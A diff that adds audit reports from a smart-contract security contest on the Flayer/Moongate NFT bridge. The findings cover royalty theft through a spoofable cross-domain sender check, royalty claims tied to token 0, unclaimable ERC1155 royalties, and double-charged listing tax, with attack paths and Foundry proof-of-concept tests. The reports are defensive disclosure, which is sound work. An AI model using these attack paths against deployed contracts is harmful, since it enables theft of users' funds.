+// is the receiver of the royalties. We can't actually pull in the default royalty
+// provider so instead we just use token0.
+(address receiver,) = IERC2981(_collectionAddress).royaltyInfo(0, 0);
+
+// Check that the receiver of royalties is making this call
+if (receiver != msg.sender) revert CallerIsNotRoyaltiesReceiver(msg.sender, receiver);
+```
+
+This is problematic in collections where the `receiver` changes for each token ID because it allows the `reicever` of the token ID `0` to claim the royalty fees of all the other NFTs in the collection and prevents the righful receivers from collecting the royalty. This also assumes that an NFT with ID `0` exists in every collection, that a correct receiver is set for it and that `royaltyInfo()` will return a valid price for it.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+1. An ERC721 collection with royalties whose `receiver` changes depending on token ID
+
+### Attack Path
+
+
+1. Alice bridges NFT with ID `5` of collection `X` to L2 via [InfernalRiftAbove::crossTheThreshold()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L83). She is the royalties `receiver` for this token
+2. NFT `5` is sold on L2 and royalties paid to the `ERC721Bridgable` contract
+3. Alice wants to claim her royalties but she can't because the royalties `receiver` of NFT with ID `0` is Bob
+
+### Impact
+
+In a bridged ERC721 collections with royalties whose `receiver` changes depending on token ID:
+
+- The `receiver` of token ID `0` can steal other users royalties
+- Other users won't be able to collect their royalties
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+In [InfernalRiftAbove::claimRoyalties()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L251) the `receiver` should be set based on the IDs of the tokens whose royalties are being claimed and the `receiver` should be the same address for all of them.
\ No newline at end of file
diff --git a/003/545.md b/003/545.md
new file mode 100644
index 0000000..241d761
--- /dev/null
+++ b/003/545.md
@@ -0,0 +1,73 @@
+Fancy Emerald Lark
+
+High
+
+# All the royalties can be looted by anyone
+
+## Summary
+Root cause: weak access control on `InfernalRiftBelow.claimRoyalties`
+Impact: loss of royalty tokens.
+
+## Vulnerability Detail
+
+Attack flow :
+1. Create a Bot contract that can call `InfernalRiftBelow.claimRoyalties`. And it will call to claim the WETH royalties of BAYC collection that is currently sitting on the `ERC721Bridgable` of BAYC collection
+2. And the access control of `InfernalRiftBelow.claimRoyalties` on line 320 can be passed by implementing a `xDomainMessageSender` inside teh bot contract that returns `INFERNAL_RIFT_ABOVE` wheneevr called. So, that line 320 can be bypassed.
+3. After that on line 328, the royalties can be moved to the recipient specified in the input param by the bot contract.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L220-L232
+
+```solidity
+InfernalRiftBelow.sol
+
+318: function claimRoyalties(address _collectionAddress, address _recipient, address[] calldata _tokens) public {
+320: >>> if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE) {
+321: revert CrossChainSenderIsNotRiftAbove();
+322: }
+323:
+325: if (!isDeployedOnL2(_collectionAddress, false)) revert L1CollectionDoesNotExist();
+326:
+328: >>> ERC721Bridgable(l2AddressForL1Collection(_collectionAddress, false)).claimRoyalties(_recipient, _tokens);
+330: }
+
+```
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/libs/ERC721Bridgable.sol#L143-L162
+
+```solidity
+ERC721Bridgable.sol
+
+148: function claimRoyalties(address _recipient, address[] calldata _tokens) external {
+149: >>> if (msg.sender != INFERNAL_RIFT_BELOW) {
+150: revert NotRiftBelow();
+151: }
+152:
+155: uint tokensLength = _tokens.length;
+156: for (uint i; i < tokensLength; ++i) {
+158: ERC20 token = ERC20(_tokens[i]);
+161: if (address(token) == address(0)) {
+162: SafeTransferLib.safeTransferETH(_recipient, payable(address(this)).balance);
+163: } else {
+164: SafeTransferLib.safeTransfer(token, _recipient, token.balanceOf(address(this)));
+165: }
+166: }
+167: }
+```
+
+
+## Impact
+Since loss of funds and high likelihood, makes it a high severity.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/libs/ERC721Bridgable.sol#L143-L162
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Increase the access control, by checking if the caller is a L2 cross-domain messanger. Like `InfernalRiftAbove.returnFromTheThreshold`
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L213-L220
+
+
diff --git a/003/597.md b/003/597.md
new file mode 100644
index 0000000..7841fe2
--- /dev/null
+++ b/003/597.md
@@ -0,0 +1,56 @@
+Noisy Carmine Starling
+
+High
+
+# in InfernalRiftBelow.sol anyone can use claimRoyalties to receiving royalties
+
+### Summary
+
+in InfernalRiftBelow.sol anyone can use claimRoyalties to receiving royalties
+
+### Root Cause
+
+```solidity
+function claimRoyalties(address _collectionAddress, address _recipient, address[] calldata _tokens) public {
+ // Ensure that our message is sent from the L1 domain messenger
+ if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+ // Get our L2 address from the L1
+ if (!isDeployedOnL2(_collectionAddress, false)) revert L1CollectionDoesNotExist();
+
+ // Call our ERC721Bridgable contract as the owner to claim royalties to the recipient
+ ERC721Bridgable(l2AddressForL1Collection(_collectionAddress, false)).claimRoyalties(_recipient, _tokens);
+ emit RoyaltyClaimFinalized(_collectionAddress, _recipient, _tokens);
+ },
+```
+on ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE, Anyone can forge a function named xDomainMessageSender to pass check, finally anyone can get Royalties , ERC721Bridgable(l2AddressForL1Collection(_collectionAddress, false)).claimRoyalties(_recipient, _tokens);
+
+### Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol?plain=1#L220-L232,
+
+### Impact
+
+anyone can use claimRoyalties to receiving royalties, Causes InfernalRiftBelow to lose royalties
+
+
+### Recommendation
+```solidity
+function claimRoyalties(address _collectionAddress, address _recipient, address[] calldata _tokens) public {
++ if (msg.sender != L2_CROSS_DOMAIN_MESSENGER) {
++ revert NotCrossDomainMessenger();
++ }
+ // Ensure that our message is sent from the L1 domain messenger
+ if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+ // Get our L2 address from the L1
+ if (!isDeployedOnL2(_collectionAddress, false)) revert L1CollectionDoesNotExist();
+
+ // Call our ERC721Bridgable contract as the owner to claim royalties to the recipient
+ ERC721Bridgable(l2AddressForL1Collection(_collectionAddress, false)).claimRoyalties(_recipient, _tokens);
+ emit RoyaltyClaimFinalized(_collectionAddress, _recipient, _tokens);
+ },
+```
+
+
diff --git a/003/629.md b/003/629.md
new file mode 100644
index 0000000..99e39e3
--- /dev/null
+++ b/003/629.md
@@ -0,0 +1,82 @@
+Unique Inky Puppy
+
+Medium
+
+# `InfernalRiftBelow::claimRoyalties()` does not support the claiming of royalties for `ERC1155` tokens.
+
+## Summary
+The function `claimRoyalties` in `InfernalRiftBelow.sol` receives the message from L1 through the optimism portal to claim fees, but this function is not designed to receive claims of ERC1155 collections leading to a revert, preventing users from receiving royalties according to ERC2981.
+
+
+## Vulnerability Detail
+Artists often grapple with the challenge of receiving fair compensation for their digital creations, therefore ERC-2981 proposes a solution by introducing a standard method for specifying royalty payment information. Compliant with ERC-721 and ERC-1155 contracts, this Ethereum Improvement Proposal (EIP) allows marketplaces to implement a consistent royalty framework. This EIP enables all marketplaces to retrieve royalty payment information for a given NFT, thereby ensuring that NFT owners receive fair compensation.
+The InfernalRiftBelow and InfernalRiftAbove are used to bridge ERC721 & ERC1155 tokens that may support this standard.
+The functions `InfernalRiftBelow::claimRoyalties()` and `InfernalRiftAbove::claimRoyalties()` are used to facilitate claiming across chains,
+[InfernalRiftAbove::claimRoyalties()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L251-L274) sends a sends a message to the L2 with a specific `_collectionAddress`.
+```solidity
+ function claimRoyalties(address _collectionAddress, address _recipient, address[] calldata _tokens, uint32 _gasLimit) external {
+ // We then need to make sure that the L1 contract supports royalties via EIP-2981
+ if (!IERC2981(_collectionAddress).supportsInterface(type(IERC2981).interfaceId)) revert CollectionNotERC2981Compliant();
+
+ // We can now pull the royalty information from the L1 to confirm that the caller
+ // is the receiver of the royalties. We can't actually pull in the default royalty
+ // provider so instead we just use token0.
+ (address receiver,) = IERC2981(_collectionAddress).royaltyInfo(0, 0);
+
+
+ // Check that the receiver of royalties is making this call
+ if (receiver != msg.sender) revert CallerIsNotRoyaltiesReceiver(msg.sender, receiver);
+
+
+ // Make our call to the L2 that will pull tokens from the contract
+ ICrossDomainMessenger(L1_CROSS_DOMAIN_MESSENGER).sendMessage(
+ INFERNAL_RIFT_BELOW,
+ abi.encodeCall(
+ IInfernalRiftBelow.claimRoyalties,
+ (_collectionAddress, _recipient, _tokens)
+ ),
+ _gasLimit
+ );
+
+
+ emit RoyaltyClaimStarted(address(INFERNAL_RIFT_BELOW), _collectionAddress, _recipient, _tokens);
+ }
+```
+
+
+On the L2 [InfernalRiftBelow::claimRoyalties()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L220-L232) receives the message from the optimism portal then enables claiming of the royalties.
+```solidity
+ function claimRoyalties(address _collectionAddress, address _recipient, address[] calldata _tokens) public {
+ // Ensure that our message is sent from the L1 domain messenger
+ if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+
+
+ // Get our L2 address from the L1
+ @> if (!isDeployedOnL2(_collectionAddress, false)) revert L1CollectionDoesNotExist();
+
+
+ // Call our ERC721Bridgable contract as the owner to claim royalties to the recipient
+ ERC721Bridgable(l2AddressForL1Collection(_collectionAddress, false)).claimRoyalties(_recipient, _tokens);
+ emit RoyaltyClaimFinalized(_collectionAddress, _recipient, _tokens);
+ }
+```
+The issue here is that the function is designed for calming ERC721 alone, forgetting that ERC1155 also supports the ERC2981 standard,
+when the line below is run with a `_collectionAddress` of an ERC1155 the function will always revert preventing the claim of royalties.
+```solidity
+if (!isDeployedOnL2(_collectionAddress, false)) revert L1CollectionDoesNotExist();
+```
+
+
+## Impact
+Users that bridge ERC1155 will lose access to their royalty payments, leading to loss of funds and disincentivizing bridging.
+
+
+## Code Snippet
+
+## Tool used
+Manual Review
+
+## Recommendation
+The `InfernalRiftBelow::claimRoyalties()` function should be corrected to check if the `_collectionAddress` is an ERC721 or ERC1155 deployed on L2 and run accordingly ensuring that any token standard receives its royalties.
\ No newline at end of file
diff --git a/003/631.md b/003/631.md
new file mode 100644
index 0000000..711b8f9
--- /dev/null
+++ b/003/631.md
@@ -0,0 +1,59 @@
+Silly Chocolate Vulture
+
+High
+
+# Anyone can call `claimRoyalties` in `InfernalRiftBelow` contract
+
+## Summary
+The access control of the `claimRoyalties` function in the `InfernalRiftBelow` contract is invalid.
+Causing anyone to call the `claimRoyalties` function to steal royalties from the contract.
+
+## Vulnerability Detail
+```solidity
+ function claimRoyalties(address _collectionAddress, address _recipient, address[] calldata _tokens) public {
+ // Ensure that our message is sent from the L1 domain messenger
+ if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+
+ // Get our L2 address from the L1
+ if (!isDeployedOnL2(_collectionAddress, false)) revert L1CollectionDoesNotExist();
+
+ // Call our ERC721Bridgable contract as the owner to claim royalties to the recipient
+ ERC721Bridgable(l2AddressForL1Collection(_collectionAddress, false)).claimRoyalties(_recipient, _tokens);
+ emit RoyaltyClaimFinalized(_collectionAddress, _recipient, _tokens);
+ }
+
+```
+The check of the `claimRoyalties` function is invalid. Any contract that implements `ICrossDomainMessenger:: xDomainMessenger Sender()` and returns the correct `INFERNAL-RIFT-ABOVE` can call this function
+
+## Impact
+This will allow malicious individuals to deploy malicious `ICrossDomainMessengersteal` contract to steal royalties from related collections
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L222C73-L222C92
+## Tool used
+
+Manual Review
+
+## Recommendation
+Need to check if the caller is `L2_CROSS_DOMAIN_MESSENGER`
+```diff
+ function claimRoyalties(address _collectionAddress, address _recipient, address[] calldata _tokens) public {
++ // Validate caller is cross-chain
++ if (msg.sender != L2_CROSS_DOMAIN_MESSENGER) {
++ revert NotCrossDomainMessenger();
++ }
+
+ // Ensure that our message is sent from the L1 domain messenger
+ if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+
+ // Get our L2 address from the L1
+ if (!isDeployedOnL2(_collectionAddress, false)) revert L1CollectionDoesNotExist();
+
+ // Call our ERC721Bridgable contract as the owner to claim royalties to the recipient
+ ERC721Bridgable(l2AddressForL1Collection(_collectionAddress, false)).claimRoyalties(_recipient, _tokens);
+ emit RoyaltyClaimFinalized(_collectionAddress, _recipient, _tokens);
+ }
+```
\ No newline at end of file
diff --git a/003/646.md b/003/646.md
new file mode 100644
index 0000000..3909cab
--- /dev/null
+++ b/003/646.md
@@ -0,0 +1,26 @@
+Bright Emerald Fish
+
+High
+
+# Royalties paid on L2 for ERC1155 tokens cannot be claimed
+
+## Summary
+There is no functionality for claiming royalties paid on an ERC1155 token
+
+## Vulnerability Detail
+The `InfernalRiftBelow::claimRoyalties` function only allows ERC721 token royalties paid on the L2 to be claimed, and there is no other function performing claims for royalties paid to the L2 on ERC1155 tokens transfer.
+
+## Impact
+Royalties sent to the ERC1155 token on the L2 cannot be withdrawn or sent to the reciever/owner, hence they will be stuck.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L220-#L231
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add a function or functionality to send royalties paid to the ERC1155 to the reciever.
\ No newline at end of file
diff --git a/003/657.md b/003/657.md
new file mode 100644
index 0000000..4e89127
--- /dev/null
+++ b/003/657.md
@@ -0,0 +1,48 @@
+Sharp Blonde Camel
+
+High
+
+# Default royalty receiver can steal royalties of other receivers
+
+### Summary
+
+The `InfernalRiftAbove` contract allows to call the `claimRoyalties` function only by the receiver of royalties for the token id equal to 0. Furthermore, the bridgeable contracts collect all royalties by themselves and send all collected royalties to the receiver from L1 (receiver of token id = 0 or the default receiver0.
+
+If there are other royalty receivers set for token ids greater than 0, the mentioned receiver can steal their royalties.
+
+### Root Cause
+
+In [`InfernalRiftAbove.sol#L258`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L258) the receiver allowed to claim royalties is taken as the receiver of token id 0 (or default one if it's not set for token 0). All royalties collected on L2 are sent to L2 bridgeable token (see [`ERC1155Bridgable.sol#L64`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC1155Bridgable.sol#L64)) and are not accounted for the original royalty receivers from L1.
+
+Additionally, no access control check or royalty distribution is present in:
+* [`InfernalRiftBelow.sol#L220`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L220),
+* [`ERC721Bridgable.sol#L143`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC721Bridgable.sol#L143),
+* [`ERC1155Bridgable.sol#L116`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC1155Bridgable.sol#L116).
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+The collection being bridged must have set different royalty recipients for different token ids.
+
+### Attack Path
+
+1. Anyone bridges a collection that has a one receiver set for token 0 (or default one) and another for other ids (1,2,etc.).
+2. The collection is being traded on L2 and token id 1 is exchanged multiple times earning some ERC20 tokens for the receiver.
+3. The royalty receiver for token id 1 cannot claim royalties because it will not pass this check: [`InfernalRiftAbove.sol#L258`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L258) (it's different address than the default receiver).
+4. The default receiver can call `claimRoyalties` in `InfernalRiftAbove` with the collection address, the ERC20 token (representing royalty) and their own `_recipient` address.
+5. The call is being bridged and the bridgeable token that represents the collection on L2 sends all ERC20 tokens to `_recipient` on L2 (https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC1155Bridgable.sol#L132).
+
+### Impact
+
+The default (or token 0) royalty receiver steals royalties belonging to other receivers.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+The mitigation is non trivial as it would require the L1 to account the royalties accrued in L2 and allow any royalty receiver to claim only specific amount.
\ No newline at end of file
diff --git a/004.md b/004.md
new file mode 100644
index 0000000..c4811ff
--- /dev/null
+++ b/004.md
@@ -0,0 +1,33 @@
+Large Saffron Toad
+
+High
+
+# Wrong assumption when getting ERC721 and ERC1155 royalties
+
+## Summary
+When getting the ERC1155 royalties all ids are assumed to have the same royalty.
+## Vulnerability Detail
+When a package is made in the `crossTheThreshold721` the royaltyBps is taken only from the first id and is applied to every other id of the same collection:
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L116
+ This will create opportunities for extracting more or less royalty.
+The ERC2981 standard has the following function for getting the royalty:
+https://github.com/OpenZeppelin/openzeppelin-contracts/blob/55fd53c6d2d516f0606a5830659e2ccb1fedb090/contracts/token/common/ERC2981.sol#L61C14-L61C25
+As we can see every token has its own royalty:
+```solidity
+ function royaltyInfo(uint256 tokenId, uint256 salePrice) public view virtual returns (address, uint256) {
+ RoyaltyInfo storage _royaltyInfo = _tokenRoyaltyInfo[tokenId];
+ address royaltyReceiver = _royaltyInfo.receiver;
+ uint96 royaltyFraction = _royaltyInfo.royaltyFraction;
+```
+The same is applicable for the `crossTheThreshold1155` function as well.
+## Impact
+High users will be able to manipulate the royalty and choose the most profitable one.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L116
+## Tool used
+
+Manual Review
+
+## Recommendation
+Rewrite the code so that each id has its own royalty.
\ No newline at end of file
diff --git a/004/070.md b/004/070.md
new file mode 100644
index 0000000..68ea3f3
--- /dev/null
+++ b/004/070.md
@@ -0,0 +1,168 @@
+Ripe Zinc Duck
+
+High
+
+# User may lose fund when modify listings.
+
+## Summary
+`Listings.modifyListings()` function doesn't update `listing.created` when user doesn't change duration (i.e. `params.duration == 0`). Therefore, user will pay tax again for the period from `listing.created` to `block.timestamp`.
+
+## Vulnerability Detail
+`Listings.modifyListings()` function is following.
+```solidity
+ function modifyListings(address _collection, ModifyListing[] calldata _modifyListings, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused returns (uint taxRequired_, uint refund_) {
+ uint fees;
+
+ for (uint i; i < _modifyListings.length; ++i) {
+ // Store the listing
+ ModifyListing memory params = _modifyListings[i];
+ Listing storage listing = _listings[_collection][params.tokenId];
+
+ --- SKIP ---
+
+ // Collect tax on the existing listing
+323: (uint _fees, uint _refund) = _resolveListingTax(listing, _collection, false);
+ emit ListingFeeCaptured(_collection, params.tokenId, _fees);
+
+ fees += _fees;
+ refund_ += _refund;
+
+ // Check if we are altering the duration of the listing
+ if (params.duration != 0) {
+ // Ensure that the requested duration falls within our listing range
+ if (params.duration < MIN_LIQUID_DURATION) revert ListingDurationBelowMin(params.duration, MIN_LIQUID_DURATION);
+ if (params.duration > MAX_LIQUID_DURATION) revert ListingDurationExceedsMax(params.duration, MAX_LIQUID_DURATION);
+
+ emit ListingExtended(_collection, params.tokenId, listing.duration, params.duration);
+
+337: listing.created = uint40(block.timestamp);
+ listing.duration = params.duration;
+ }
+
+ --- SKIP ---
+ }
+
+ --- SKIP ---
+ }
+```
+The tax which user pays in `L323` are calculated depends on `block.timestamp - listings.created` and `listing.floorMultiple`.
+However, the above function pays tax up to `block.timestamp` in `L323`, but doesn't update `listing.created` when `params.duration == 0`.
+Therefore, user should pay tax again for the period from `listing.created` to `block.timestamp` after that.
+
+PoC:
+Add the following test code into `Listings.t.sol`
+```solidity
+ function test_PayTaxAgainWhenModifyListings() public {
+ // Flatten our token balance before processi for ease of calculation
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+ deal(address(token), address(this), 0);
+
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = 0;
+ erc721a.mint(address(this), 0);
+
+ erc721a.setApprovalForAll(address(listings), true);
+
+ // Set up multiple listings
+ IListings.CreateListing[] memory _listings = new IListings.CreateListing[](1);
+ _listings[0] = IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: tokenIds,
+ listing: IListings.Listing({
+ owner: payable(address(this)),
+ created: uint40(block.timestamp),
+ duration: VALID_LIQUID_DURATION * 2,
+ floorMultiple: 200
+ })
+ });
+
+ // Create our listings
+ listings.createListings(_listings);
+
+ vm.warp(block.timestamp + VALID_LIQUID_DURATION);
+
+ token.approve(address(listings), type(uint).max);
+
+ // first modifyListings
+ uint balance1 = token.balanceOf(address(this));
+
+ IListings.ModifyListing[] memory params = new IListings.ModifyListing[](1);
+ params[0] = IListings.ModifyListing(0, 0/* no change for duration */, 300);
+
+ listings.modifyListings(address(erc721a), params, true);
+
+ uint balance2 = token.balanceOf(address(this));
+ int diff1 = int(balance2) - int(balance1);
+ console.log("balance diff 1:", diff1);
+ console.log("OK: Since floorMultiple increase, balance should be decreased.");
+
+ // second modifyListings
+ params[0].floorMultiple = 200;
+
+ listings.modifyListings(address(erc721a), params, true);
+
+ uint balance3 = token.balanceOf(address(this));
+ int diff2 = int(balance3) - int(balance2);
+ console.log("balance diff 2:", diff2);
+ console.log("ERROR: Although floorMultiple decrease and no time passed, balance is decreased.");
+ }
+```
+The result of test code is following.
+```sh
+Logs:
+ balance diff 1: -85000000000000000
+ OK: Since floorMultiple increase, balance should be decreased.
+ balance diff 2: -17500000000000000
+ ERROR: Although floorMultiple decrease and no time passed, balance is decreased.
+```
+
+## Impact
+User will pay tax again for the period from `listing.created` to `block.timestamp` when modify listings.
+That is, there is loss of user's fund.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L337
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Modify `modifyListings()` function as follows.
+```solidity
+ function modifyListings(address _collection, ModifyListing[] calldata _modifyListings, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused returns (uint taxRequired_, uint refund_) {
+ uint fees;
+
+ for (uint i; i < _modifyListings.length; ++i) {
+ // Store the listing
+ ModifyListing memory params = _modifyListings[i];
+ Listing storage listing = _listings[_collection][params.tokenId];
+
+ --- SKIP ---
+
+ // Collect tax on the existing listing
+ (uint _fees, uint _refund) = _resolveListingTax(listing, _collection, false);
+ emit ListingFeeCaptured(_collection, params.tokenId, _fees);
+++ listing.created = uint40(block.timestamp);
+
+ fees += _fees;
+ refund_ += _refund;
+
+ // Check if we are altering the duration of the listing
+ if (params.duration != 0) {
+ // Ensure that the requested duration falls within our listing range
+ if (params.duration < MIN_LIQUID_DURATION) revert ListingDurationBelowMin(params.duration, MIN_LIQUID_DURATION);
+ if (params.duration > MAX_LIQUID_DURATION) revert ListingDurationExceedsMax(params.duration, MAX_LIQUID_DURATION);
+
+ emit ListingExtended(_collection, params.tokenId, listing.duration, params.duration);
+
+-- listing.created = uint40(block.timestamp);
+ listing.duration = params.duration;
+ }
+
+ --- SKIP ---
+ }
+
+ --- SKIP ---
+ }
+```
\ No newline at end of file
diff --git a/004/100.md b/004/100.md
new file mode 100644
index 0000000..adda03a
--- /dev/null
+++ b/004/100.md
@@ -0,0 +1,56 @@
+Wonderful Rouge Hamster
+
+High
+
+# User will pay more taxes than they should when they modify an existing listings floor multiple
+
+### Summary
+
+In `Listings.modifyListings()` it will calculate the new tax as if the listing's creation timestamp was reset which will cause the user to pay more fees than they should.
+
+### Root Cause
+
+In `Listings.sol:355` it calculates the new tax for the modified listing. If the user only modified the floor multiple, the listing's `created` timestamp and `duration` will be the same. Thus the new tax is calculated as if it will run with the new floor multiple for the whole duration.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L766-L772
+
+But, `block.timestamp > created`. It will only be live for `duration - (block.timestamp - created)`.
+
+Thus, the tax will be higher than it should be:
+
+```sol
+ function calculateTax(address _collection, uint _floorMultiple, uint _duration) public pure returns (uint taxRequired_) {
+ // If we have a high floor multiplier, then we want to soften the increase
+ // after a set amount to promote grail listings.
+ if (_floorMultiple > FLOOR_MULTIPLE_KINK) {
+ _floorMultiple = FLOOR_MULTIPLE_KINK + ((_floorMultiple - FLOOR_MULTIPLE_KINK) / 2);
+ }
+
+ // Calculate the tax required per second
+ taxRequired_ = (_floorMultiple ** 2 * 1e12 * _duration) / 7 days;
+ }
+```
+
+### Internal pre-conditions
+
+none
+
+### External pre-conditions
+
+none
+
+### Attack Path
+
+1. User calls `modifyListings()` and only changes the listing's `floorMultiple`.
+
+### Impact
+
+The user pays more taxes than they should if they only increase a listing's floor multiple.
+
+### PoC
+
+none
+
+### Mitigation
+
+The new tax should be calculated only for the remaining duration. This makes the refund calculation more complicated.
\ No newline at end of file
diff --git a/004/162.md b/004/162.md
new file mode 100644
index 0000000..c35304d
--- /dev/null
+++ b/004/162.md
@@ -0,0 +1,152 @@
+Stable Chili Ferret
+
+High
+
+# Incorrect handling of `created` in `Listings.sol#modifyListings()` function
+
+### Summary
+
+When `params.duration == 0`, `listing.created` is not updated to `block.timestamp`, so the user ends up paying the fee in double.
+
+
+### Root Cause
+
+The `listing.created` is not updated to `block.timestamp` when `params.duration == 0`.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+- The user decides not to change `listing.duration` and enters `params.duration` as 0.
+
+### Attack Path
+
+- When the `Listings.sol#modifyListings()` function is called, the corresponding fee is calculated in [#L323](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L323) and transferred to the `UniswapImplementation` contract in [#L375~#L378](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L375-L378).
+
+- However, when changing parameters in the `Listings.sol#modifyListings()` function, if `params.duration == 0` and `params.floorMultiple != listing.floorMultiple`, `listing.created` will maintain its previous value.
+
+- After that, when [`_resolveListingTax`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L918-L956) is called, the user will have to pay the current fee according to the previous `listing.created` for the set parameters.
+
+
+### Impact
+
+Users must pay fees repeatedly for the same period.
+
+### PoC
+
+```solidity
+ function test_ModifyNotUpdateCreated(uint _tokenId, uint32 _extendedDuration) public {
+ // Ensure that we don't get a token ID conflict
+ _assumeValidTokenId(_tokenId);
+
+ // Determine a varied extended duration
+ _extendedDuration = uint32(bound(_extendedDuration, listings.MIN_LIQUID_DURATION(), listings.MAX_LIQUID_DURATION()));
+
+ // Flatten our token balance before processing for ease of calculation
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+ deal(address(token), address(this), 0);
+
+ // Mint our token to the _owner and approve the {Listings} contract to use it
+ erc721a.mint(address(this), _tokenId);
+ erc721a.approve(address(listings), _tokenId);
+
+ // Create a liquid listing
+ _createListing({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IListings.Listing({
+ owner: payable(address(this)),
+ created: uint40(block.timestamp),
+ duration: VALID_LIQUID_DURATION,
+ floorMultiple: 110
+ })
+ })
+ });
+
+ // Load some initial data so we can calculate the event parameters
+ IListings.Listing memory _listing = listings.listings(address(erc721a), _tokenId);
+
+ // Warp slightly to trigger tax calculations if present when extending listing
+ vm.warp(block.timestamp + (VALID_LIQUID_DURATION / 2));
+
+ // Approve our {CollectionToken} to be used by the {Listing} contract
+ token.approve(address(listings), type(uint).max);
+
+ // Get the amount of tax that should be paid on a `VALID_LIQUID_DURATION`
+ uint initialTax = taxCalculator.calculateTax(address(erc721a), 110, VALID_LIQUID_DURATION);
+
+ // Confirm our ERC20 holdings before listing extension
+ assertEq(token.balanceOf(address(this)), 1 ether - initialTax, 'Incorrect start balance');
+ assertEq(listings.balances(address(this), address(token)), 0, 'Incorrect start escrow');
+
+ // Extend our listing by the set amount
+ _modifyListing(address(erc721a), _tokenId, 0, 110);
+
+ // Calculate the tax required to extend our listing
+ uint extendTax = taxCalculator.calculateTax(address(erc721a), 110, _listing.duration);
+
+ uint refund = (_listing.duration - (block.timestamp - _listing.created)) * extendTax / _listing.duration;
+ assertEq(refund, extendTax);
+ }
+```
+
+Result:
+```solidity
+Ran 1 test suite in 46.39ms (44.78ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
+
+Failing tests:
+Encountered 1 failing test in test/Listings.t.sol:ListingsTest
+[FAIL. Reason: assertion failed: 6050000000000000 != 12100000000000000; counterexample: calldata=0xee6067c10000000000000000000000013f1b763bbbdb70e901a3fa2e6101280ecbd48e52000000000000000000000000000000000000000000000000000000000000001b args=[1821780475589269769414011599030078064036725165650 [1.821e48], 27]] test_ModifyNotUpdateCreated(uint256,uint32) (runs: 0, μ: 0, ~: 0)
+```
+
+As you can see, the fee was paid again for the same period even though the timestamp had not passed at all.
+
+
+### Mitigation
+
